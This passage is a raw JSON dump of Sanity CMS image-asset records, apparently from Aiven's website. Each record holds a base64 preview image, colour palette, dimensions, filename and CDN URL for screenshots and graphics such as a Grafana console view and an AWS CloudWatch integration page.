gbTRh4aEKiqwp7gzXI216DKdp2rXl0UevCEhbsK7A7V+FccmPV7dWxO1xYXFoH6w1jZtaGjo4nsFgsuFFxHeby03jfdAr+Z9VIOd6AkZUdxBMpPY8Topyoc5xTEmtsFPNOFl+n5vH8xSu0tLTCbDbjWvlVXD53BnfrKjHW3Ymw1wOmmMv/KJbAbxPMWtcwNjSC7s5HaLbcgcFghMFgQFlZGc6WlMBY34DevkH4AhEw/2rxmILeWjwSxdrEIGxPG9BzrwLG2ipUVFahuroapaWXcPHCebQ1mzD54SUivmUwRNun6l8UZyRToBktT7PxAM273lJ5/AHGHzei+bYJN2tvwWioQ1N9DVobr9CJrhrK29qptDlJGaJkoYgqRJHo3+TEoZbdRy63i/2MgoMUBy3qhsc5jS+fP6Gvrx9jwz2wfmwHO26EbL8PbXMYQqToUEofypxwGOelI0EiR7KSpYKYpoKo0FQqTQkhVFVVKssyFbYTNJHYAsdx4MM/IPvGKPH3U8LNUYH303AoSBmSzhXSSraQTGYPJFn7yW9Jv3z+4CHLemgoFKY8z+twsZh+SpIEWU6C5yLY9Lpo0O/WhQKBTerxeOhvun7WSkj1KP0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#313d44","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#102748","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f79011","foreground":"#000","population":4.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccd4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3c940","foreground":"#000","population":0.23,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c76a6","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79011","foreground":"#000","population":4.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844.png","path":"images/sczeoy4w/production/4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844.png","sha1hash":"4c67eff37d8b60b1a463d6f30dc2933a1d368fe7","size":612495,"uploadId":"C8t4u6hTlgXRBvtkh3mrmo546Vuqi7JT","url":"https://cdn.sanity.io/images/sczeoy4w/production/4c67eff37d8b60b1a463d6f30dc2933a1d368fe7-1567x844.png"} {"_createdAt":"2022-09-30T15:07:14Z","_id":"image-a7d7e89a6ced5d5b7781ea776b37e58048dd0da4-1454x1144-png","_rev":"vDQRRYe9nRreptIRp5hqom","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:07:14Z","assetId":"a7d7e89a6ced5d5b7781ea776b37e58048dd0da4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.270979020979021,"height":1144,"width":1454},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEpUlEQVQ4jU2SWUxUVxjHj1ipoAzr3GXu3HUGZoVhcKQYWQYL2jqICmpN6lJDtampUDFiY2LdIE4CKFpBizYtI2obKX3qiyZW+1BbadJUW1O1tS71wREzA7Nz7z1fc8c+9CS/nHwvv/P/vvOhiYlfUTwJGfEkzI/GMTUdVbhITDXIKugAYDb636laVIUAIDOZTNHxeNySSCRtsqzYFEU1ybKcF4/HZ6FYAjJuTtzKP39hrPSTk5/WHz9xaumxgcGGAwd7Fq9dt95OECSXkZHBUBTFeDweJhAIuB89etQRCoXORKPRL2RZHlFVtVeWlSWRSHSOJswePjtSumpV6w6Pp3K43L3gXLnbE3CWuj7neHEoR5fbm5U9z1+kJ/wlFqu/ra1t+Pr1az+/mJwMxePxqKIoMVVVbyuyvHU6HJqLIjFVf+iwv9Hlco9QlOEpQdJTBEmH9AQdLiwiQvkFRS/yC4om9QQ1yRj5ycbGZaEvL15MPQ8GIZVKgaIooKrqA1lR3p+OROeiqYhs3H+gp8nhLBsnSENMTxhAT9BQWERCoZ4CgjQASTFAUAyQNAM1tV4YGQlAMBjEqVRKTaVmYCaVfDATDe2I3fs+G01HFcPH+7t9Dqfra9rARhijAIxRUAmKwXrKgCmWTUMwDCYZI66pX4ID50axJkwkEhqQDAeDM3ev9CmnvYL2w3mdu/Y02OzOSzTDRVleAo6XMM2wQDIs0DwPFM8BybKY5jmoa2jAgdGXwmQigZNawud/pZRrvVfVbuotbQ3mtLSuqxRE8yjNsBFeNIEgmTHLi8BwAhgFERheAAPHY632vq4Jz+NnaWESz8gKVp7dBfXb3Y/xft2QJkS8IFqL9OQZysBOC6ZikIotmJfMwImmNKwgASeYsCiVgHdJIz52/AS+8eNP+Lff7+C79+7jp79cgfiFzSG8L+u79MJmZr5q1uXmnSJp45Qm4LWEgoQ50aSJ07fZZMNuZyV4a5biDRu24PaOTvzhrt24q6sLjxzYAo+7y6bw3lduIF9TM0Jolml+Tu4gSTNhbYasIKlGTsSsYMJaMpaXsFmy4Qp7JV5YtghcTg+228twidWBnXYrbm9g4Nb2rGfwEbqUbjlHpyvOzSs4TWstS8WgwWnil3JgOBGMnAmLogWLkgWzvAlrDxp5CZtEHm9bXIBvvpt5G++d3YXGxr4paG5eWWW12odLLLanDmfZtMPpClttjnCJ1R4usdimbHZbrLzMqiwot0KFy4oXuGx4oduBX6soxTUeO+xYJkUub+fHnxzx+NDw8GdcR8fO6uXLfR21dd7jdd76oTpv/WBNbd1QdXXtYHV1zamWNxd91bWp4rZ/W2ms/z0HHN3qgGNtduh/x64cedv5vHeT+/JoZ0P7+MAeN+rp8c9r79ip37hxM79mzVpTS8ua/2hN09qy2ty3s3bhjaO2D+4PCWOPTzK3/hmg/n7SS/z5sJv44c4++uTV3dZVg52rhcOHDuvQw4dPUCg0hfr7+tD6dWtRc5MPrVzhQ02+5aiqbgVa9oYPwR9oFoznF8LF/FoI5LbD2Rw/DGUfhIG5G6Bvjh38KAsQQhMA6F+UU15IjpGLLAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#685a35","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#994104","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f97e08","foreground":"#fff","population":3.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4b4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0e4cf","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#78548e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f97e08","foreground":"#fff","population":3.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-dashboard-aiven-console-create-service-grafana.png","path":"images/sczeoy4w/production/a7d7e89a6ced5d5b7781ea776b37e58048dd0da4-1454x1144.png","sha1hash":"a7d7e89a6ced5d5b7781ea776b37e58048dd0da4","size":99806,"uploadId":"A7abrakn1Muztp7cmZ9WAWWsvY7XoaA3","url":"https://cdn.sanity.io/images/sczeoy4w/production/a7d7e89a6ced5d5b7781ea776b37e58048dd0da4-1454x1144.png"} {"_createdAt":"2023-07-03T09:57:39Z","_id":"image-2d791b46a55b185aece762cd7c9a929d88f64a7a-1226x786-svg","_rev":"603qOxJQrxpO5VIk67blK5","_type":"sanity.imageAsset","_updatedAt":"2023-07-03T09:57:39Z","assetId":"2d791b46a55b185aece762cd7c9a929d88f64a7a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.559796437659033,"height":786,"width":1226},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADZklEQVQ4jU2T3U9cRRjGZ4GyIIXWVkQqWANotaUVtaahKumFsaTSWDVp60eCBqqJSkyT/hnGhBvvvdPExHjZRE20wSKfC+zu2d0zc87MO7vnvIvLfrEfwO6ZMWdB5eLJm3nzzO95ZzJDABUB1P+qE1CdA9SvA+prBxoEVEcAVdP/0n5tBlSBQ3sbOrxoAVQ9gPoVQPUWoJoEVLcA1RmJql2iF5RpH9zwtQIqP/zoQchhYCO9DVCdBFT+NC8CqjHheh8Jp35LuN6gRBUUqINi39cBqP3g4X2pXkDVBaiDgLrZB57dP6a6CKhHIa1HANV5nqpdteTumwle6YsYm10mzfbbcmfgwHvlYPrbgGocUF0GVM8D6lM+cBxQTwCqm4DqBrjeKKB3Trj1YQrVofUVdiq2GL7AjNQEl9V3fZBwvWnhejPgqi8B9RSk9XuAesyH+sAzEr1Lwqm9z2V1SvLC9ZQoXEw6ez1xu9Iee/DwKTa/OGFHxB0uq59x1/uCO/WveKp216/g1ifBrb8GqJ4G1I8SiV5LUpa6uSiN23b+c0nTt10zecHlWx1hsddMV6IDbNV4hxrOx6ZdmjJFdYbJnXtWcu+eJXdnGC/dYDQ7yKx8EMqakEokRFJsM2hbubO2lbsurOwYmG6vuUabWbLWalrF83Ez90HMzN+JmvkpgxY/SdjlaQbVTykv3zTimZH1FXZsfSEayGlNiEQVEFAJWHz7qMVL/Qlr+9moWXjOoMUn7ORepymqwzGr9KHBincNWpg0WHHUtLZHLJZ9lSU2X44a6ccfzLPgb79HmkKxHCGQ1iQkNdFaE8MqH4kkcoMGK06YonKFO/UeCtUTBi1ejpqF6aiZfztq5nstmgmKDfoYi8CAEc88Ewpj38Ki1f4fMGJkyOxPMbK0xEkkkX8yZpWuUdh5Q7hedziebVqL/n16I7Z1dcPIXFped45/N/st4RG7hVqFPtPeHk2Y2ZeMDTg+96cRaLxuJnfJ7NffEGdLk7hdPhG3yy+YvDJkp2pt939ZI8trTudqGPtXN7B7fom3/vjzHLEzOmCl6sdsWR2yWXYoErJOzs3TtoMvoxqwVEYH7FSti8JOb4wVO77/4X7jKpZCyYCvhWVBfv0j2uht8U0inVrASXstRmyz/eFftHNunj7yD5We3+xeIokWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3123","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#460604","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b2b3c4","foreground":"#000","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2b3c4","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eca494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987674","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd6d44","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"community-world-map.svg","path":"images/sczeoy4w/production/2d791b46a55b185aece762cd7c9a929d88f64a7a-1226x786.svg","sha1hash":"2d791b46a55b185aece762cd7c9a929d88f64a7a","size":1749534,"uploadId":"qpJhuz8gTllCyc3Zztg1oGGxblMVy8mu","url":"https://cdn.sanity.io/images/sczeoy4w/production/2d791b46a55b185aece762cd7c9a929d88f64a7a-1226x786.svg"} {"_createdAt":"2024-08-08T20:09:58Z","_id":"image-2272209d93e3a92ce6ab471468e4d725f7433568-1663x798-png","_rev":"BVM0UzymoPXcfHGeYilCAn","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T20:09:58Z","assetId":"2272209d93e3a92ce6ab471468e4d725f7433568","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M271:U00.T00%$,0%z8_tRIU8^?c4m%NIT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0839598997493733,"height":798,"width":1663},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACWElEQVQokTXSSU8TARjG8X4EAY2BFgpdZqadmU5naQdqoYBABYmaIJFEghCqgGGxC4tAN5ZSLFDRgwkXE+MBY0y4cPLgwaMf6m8A/QK/PM/7Po5bzc9paJmisWWaJucszR0L+OUMkraGbG6hx8qE7BKqXcZOVOnqq6HaBwh6BW9oH3dwj7ZgBbd8iFup4WhomaTROUWTc4bbrhSCnGZ4cJ/kUIVovIRxr4wcKaJGS4wMHzP25CPx/hP0+BFK9B0+7QqvIdunSNYpjrvtMzi9L3H65mj2zCOFsgwN7JFMVrB7rtIVEI08slWiv79KcvAIM1ZFjlYJWIeIRo3O+2cMPz0n8fALjjZxDlFbQtTe0BFcxqtkCBobhDsLaLESkpnHr+cJWGVka4eguYto7CEYFQS9imyfMDL+jdTKL8anL3G4pXkkfYWAnsanpPEoWdzBHO3qOl5ti3ZlE09oG8kqI5o7KHaFSO8xRs8Jsn2E0lln4PFXJmYvGZ34cQOK4eVr0B/K4FVztEkZXEIal5DFJeRolzcQ9CKSUUaPHRAfrBPtq6N03oC9jz4zlrrgwbPzm8p+dQkpnEbQsvi1VTxKDo+cxaeu4pHX8IW2kMyr+mVUe59IoobZfXwN6t0fGJu/YOXoD5O5n/+e4ntFq3+BNmERj5LBH15HMt4iW9sEzDySVSQQ2SFg7aJ1VYn2nWAl6qhdx2jx94xOf2e2+Jux15f/Z/OCJtcMd1pTuPyL+EJriMYmknkFFhCMAr5wAdHcJRQ7xOqtY/TUr28o6IcosVPMgTO0nk/8Bc+XU4CKMeGXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424b8a","foreground":"#fff","population":2.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c8c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2985","foreground":"#fff","population":10.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#233b75","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#809ad9","foreground":"#000","population":1.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6870a8","foreground":"#fff","population":3.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b2985","foreground":"#fff","population":10.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/2272209d93e3a92ce6ab471468e4d725f7433568-1663x798.png","sha1hash":"2272209d93e3a92ce6ab471468e4d725f7433568","size":240622,"uploadId":"EG4DNulOMINwyK4z2BbRDwVBaFTHAcAs","url":"https://cdn.sanity.io/images/sczeoy4w/production/2272209d93e3a92ce6ab471468e4d725f7433568-1663x798.png"} {"_createdAt":"2022-10-07T08:03:54Z","_id":"image-551a72db9e92e703d08c1676bf8a4a288f2ce2de-2000x986-png","_rev":"6A7y012pmf5STlJrFTbNK4","_type":"sanity.imageAsset","_updatedAt":"2022-10-07T08:05:37Z","altText":"Screenshot of Integration metrics flowing page for AWS CloudWatch","assetId":"551a72db9e92e703d08c1676bf8a4a288f2ce2de","description":"Screenshot of Integration metrics flowing page for AWS CloudWatch","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.028397565922921,"height":986,"width":2000},"exif":{"PixelXDimension":3024,"PixelYDimension":1492,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABx0lEQVQokT2P6ZLaMBCE/f7PkquKpQIE+JNHSMISwl7gQ7Zl3TKWDfSWxs7++Grc0+MeTbL8vsJ6tcVm+xOz5RafZwt8m6/wsNhgvtwSDxPj9wazxZr82WKDL/Mf+DRb4et8TTNJluUoCoayqpEVJU5pjpyVKGuOquZUy2pi0qyqaZ6V4z/nnCHNGfKiROK9Rwgd+r5HFwIxDAMRe5EQ+5eO6n8vEsLo9bE/zSats+inQN+2sNYSxhhorUeUhBICWivynHNUtTawxuLStgjdmJG03o0bhgHeO0gpIKQkGjFWKSWUlBQeFxlrobSGmHxtDLxvEWJgNC+XC6XHrZxzClLGEtpYCqCXef+BMfZjsVTx5Y7OT6IRT+1CD+M8qkaiFgrCOEjroQhHaOuhnYdyHtI4NNpAaEOei2fTye2FkkM/gNsWb7XCayVx4grnxiBXDoXySBuDc6OJVIz9WONcoT1UG9DFwOv1itvthjBcydgXDXZphceswt+c46nWeOYGB9aQ3mc1DkzgpbE4Vor0M9fgvhsD7/c7gDv64YpcWuxODL9eUvx+SbF7y/Evr3FkDR5PjPSf1wz7M8NTKXDIa9LHgtN1MfAdy33sihVCYngAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#482b39","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c240c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cbb9a5","foreground":"#000","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb9a5","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6d1e2","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7564","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d47f2a","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"aws-cloudwatch-integration-metrics-flowing.png","path":"images/sczeoy4w/production/551a72db9e92e703d08c1676bf8a4a288f2ce2de-2000x986.png","sha1hash":"551a72db9e92e703d08c1676bf8a4a288f2ce2de","size":387162,"title":"Integration metrics flowing page for AWS CloudWatch","uploadId":"SxyclqBbs4t05KlwAgt0xuB866jmtVYs","url":"https://cdn.sanity.io/images/sczeoy4w/production/551a72db9e92e703d08c1676bf8a4a288f2ce2de-2000x986.png"} {"_createdAt":"2022-10-07T13:30:21Z","_id":"image-52681ccfc2d16acc4bf4bf8036aa6dfae25b5f03-1011x1039-png","_rev":"9eyf8qvxxNsqIJlFBWQ2qU","_type":"sanity.imageAsset","_updatedAt":"2022-10-07T13:31:46Z","altText":"Writing with Aiven is as easy as 1, 2, 3 (4, 5)","assetId":"52681ccfc2d16acc4bf4bf8036aa6dfae25b5f03","description":"Announcing the Aiven Technical Content Contribution Program, here are the submission steps.","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.973051010587103,"height":1039,"width":1011},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAEFUlEQVQ4jYWV229UVRSH+3f45isaEwNGNPHF8MCLomiMmpBgvCBUolEuCkYlXLyVtgEvQNJLKEETGaBpCC2l5VKrxQ6FptPOpBdqmdJO6Qwzncu57X3WZ/bZU2l88SRf1snZe//2WmvvtU4NIvz7hIJoDUojOkRWjJn3ZVhhyRdhOGXJFaiJZgcK5hdhaBTpHUC6+6EvjoxNIbk8EigrYDYx72a+UuC4SDyB1DVb+uJVwWIZOvvg0zrk7b0RbPkCOfATuqMXPTpBmCsgnm9xPWvNuuuDsKcB9jYgnX3UREGVHaS9B3nzE2TdW8j6dyIbbtqFv/9H3GO/4F/uJ5xbQPwAtEmJjiKT9DzS9btletZ6aAbl1hiyuw42bIMXtyIvf4Cq3Yf75REq+47iHG0juPYXYTaPhDa/EUsldOoOOjWFFIrURB+N6uID6LiCNLQidU1IfQvB0Tbcxlacuiac+mbclhhqcCQKNTo0z0dPzuCd78Y7141KTDwUNIkOsw9QM/ci9J006vYYXqwLp6GVytfHcQ6fwD/fQZieQXwfcVxUYhzvVDteWzsqPlINWQStNb7v43pehOd5BKUyQXIS73QM9/C3+A070W2fISMXEbeEaIlSoIZTqOEk4ULWCoZhSBAEOI5DuVymVCpF1ggHhQL6Rie6aQvh908hjWuQ3kOwNGfvp1NA5pIWp2BDXvauUqmwsLBAOp0mm13EcVx8p4ROdiKnXoPDq6DxCbiwE7mfQvwK3B2A3gPQcwCmrlhB46FSKvLKiI2Pj5PJzOO4RrCMTl5ETm6E+seRI6uRjo9gfgRx8shoO3L6DcvNkw8FjZee65LL5chkMhQKBTzfx3eW0KMxpGU9HHwE+eZRpONjJDsJOoiEGTgGf/4M6WqlrBQ1uTTh+1WrCpOEI3Vwbh1yfBVyfC30N0J50Ra5l4fFWxbvATXLhR6Jao1WKkJ5DmppmnC6BRl4FS6vQS4+g1x9F2Z6IHAg9GEpAdMnLPm4DTny0tTm9Czh0Cg6nkAPDRIONyE3Xodra5HeJ5Hrz0HqEBTHQbsQ5CHTBbdr4fY2mP1tRaXMZpCWs1H5yY7vkL0HkZat0PUs0vMYcvVpuPUecr8bgiKEpqYdWBqBv09Y8oPVHJoi7x+C7fvhpVrYuB02bEF2b0ZizyNXVsPNzchcO/g52weXcYswl4R7SYjuYbV9SewSsmkXsmEb8sp25IX3kdoPkdgOGN2PLFwCNwtaRd3G9EaCAKbuwtlLcKYLxqaq/bDsgPGwoTXqa+yph69+gOZfYfgPKE6DKttG7PngetYu98PPG+26C1ergmY3M3h3HlJ3YGwSJmYgk7WLo/DMPPN7UFbYWDOWmIDmGDSdgXjCXpv/fVbm7L84bnSgERWHfwCDzej5iB7MkgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#605f5f","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#803c03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87508","foreground":"#fff","population":4.54,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bfc0bd","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74ac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8a8a8a","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87508","foreground":"#fff","population":4.54,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"collaboration-program-steps.png","path":"images/sczeoy4w/production/52681ccfc2d16acc4bf4bf8036aa6dfae25b5f03-1011x1039.png","sha1hash":"52681ccfc2d16acc4bf4bf8036aa6dfae25b5f03","size":70295,"title":"Writing with Aiven is as easy as 1, 2, 3 (4, 5)","uploadId":"kig1ph53wZTxNYRlRe26m7yQe8BSVOeB","url":"https://cdn.sanity.io/images/sczeoy4w/production/52681ccfc2d16acc4bf4bf8036aa6dfae25b5f03-1011x1039.png"} {"_createdAt":"2022-06-30T19:57:41Z","_id":"image-3a345fc0c4b48481a275c481ef78318ee8db7614-640x278-png","_rev":"z4aw9LO53fWpwEzdXNEKV9","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:41Z","assetId":"3a345fc0c4b48481a275c481ef78318ee8db7614","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MuI~SnQU%I~Xs;r_bqsqW-fPnTS0jJWAay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.302158273381295,"height":278,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAAAsTAAALEwEAmpwYAAACz0lEQVQokU3S60tTcRzH8e/Zzx70IH0QCTUrkbmwLBFKCRJCAiEoetDDLhBRDxIyiC6gRhGSRhdKo5ZdtNTs4tw5Zxd3a83pTroz87TteM5uZ7dM29bUogw6v5iP+gdevPnwgaDReNxPktc4rfaWT6c7xwwMVO+uqioEgGKCIDYRBKFsbe+sHHZMnaFGuQf6Mf9jiyekcfqSmjF+VuMKpDSuQLJ71J+865iWGiFiNrfM0PRrP0mOBCiqy9HTs6+6oqIYADYoFIpSIIiN7Q+e141MBJ5+4CIRl19Kjs8kE4w4l2CCqQQjhhOMKKaYYNg3PiM9g6jZ3CHo9dYARXl4iuqzdHcf3F5eviEPIoRKAUB1uuni4UGT3erkfH8YQcBuIYSdvgh2fOLxKMfisc8T2B2Y/u7mgyRERkZuCnq9nacoL09RA3lwh1qdB9cjhMoAoPLoqcYjAwabfdTHL38UQ5gRIrKDC8l6z4T8ZpL6O8i+xTrOlDH7Wd1KoWgw2HiKYnma7rM+efI/uBkANt18+KLBwUnUZCT9m5UymJWysjv8Fb8UrbgpfFk+Fj2Bz0qXsveD/TqIWixtgl5v8pOkO0CSPSaN5kBFWVkJAJQghPI7FlrYUI0nmnvnjS3+8saX8FT8h/wxnpbvzL6Sd+b2/F27tA7vyO3KNCZaVwrbZmja5NPp3H6S7M2D21QqJQAoEUJKhUJRZGVDNZOR7JA3trDsjS/iqdgSZuLfcMfXXrxlsUpGPwtw6YI6ezJ1gQTJYmkSDYZHPE338zTd5uztrauvrc3fZs2qgoIihNBq+1S0eiKU6fFEc7OslMt6pYU0I33LdKaGMvXZg2nVwtbve7IN4fOxG315sCZsMu0PGo2HgkbjXk6rVXY1NyMAgIpyNbG5TAXvp2NqV+DL1XFhzuQW5+2MMG9zibO2wdC4rSV2z9qYuPL+snR7uIvXXv8H0KuvbONh+N8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4e3434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05a505","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#05f906","foreground":"#fff","population":6.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4a4a9","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c3f6e2","foreground":"#000","population":0.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#709673","foreground":"#fff","population":0.51,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05f906","foreground":"#fff","population":6.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3a345fc0c4b48481a275c481ef78318ee8db7614-640x278.png","path":"images/sczeoy4w/production/3a345fc0c4b48481a275c481ef78318ee8db7614-640x278.png","sha1hash":"3a345fc0c4b48481a275c481ef78318ee8db7614","size":19267,"uploadId":"97xf3xgnhC9dRD8JZHXjsQJs0xCJ1Wxi","url":"https://cdn.sanity.io/images/sczeoy4w/production/3a345fc0c4b48481a275c481ef78318ee8db7614-640x278.png"} {"_createdAt":"2022-06-15T20:01:31Z","_id":"image-05dfea7c6064cc4a5642afc51459e1e9d69f0011-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7WuX","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:34Z","assetId":"05dfea7c6064cc4a5642afc51459e1e9d69f0011","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEDKGOeWUuXmEQ7%vzt7ozaJ4TVqcFjc$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACkElEQVQokR3NiU7aAAAA0P7OpkOdN4cgIipgUQ4BoQiCbaGUG8pRFLkEu4JHrSBQyAAz8cAlMs2WbEvMsmTZRy3Z+4EHvFEZJg32aQsyCblHIfeIDefBoQk8MRVMz0TzcyQlyJ4uFC8ldH2xwonLTdFxjV+4nMkw71MVgLdhnocQgd0zu+sds+Ejdu87JDLhJacj2XmSEuWZxXJjme2uNW9UXF9R7cjPuKVyQ0I1BFQT4G2ahTa3FA3K8JjUlxT4ksJQWkgU+OTxQoGRnbcVrVv1zVB790XLXatZTlnrLpevljIVWakGzJkcUCITKLNxliOq7QDbCta71tOm9P+p4Pqbd8+G4fet3q2STMsDkbV0XuKP8q17S74YMK6x2MgcyTYL7U+FTr/0aUA/DIPt/sYJp6r2dDdPpuefO08vDqZiDWKQx7kXRs2IRa7TiC124K3KCOJROPvBQ517Kpd+phm66obbfezjnbs/DH599b3+QR8/R+kDqhg8KxMnlL+UQVyofmVTAfDU2xpfzJEuIYUKSjH24pn1mPE3epHrR+LhJffjd/LXX/R+kKTJLhsbdLItlqid+LNxi1EtBCbWtasOVOuLmIgUtJ8zpXLGdNFJM8hFE+Ouo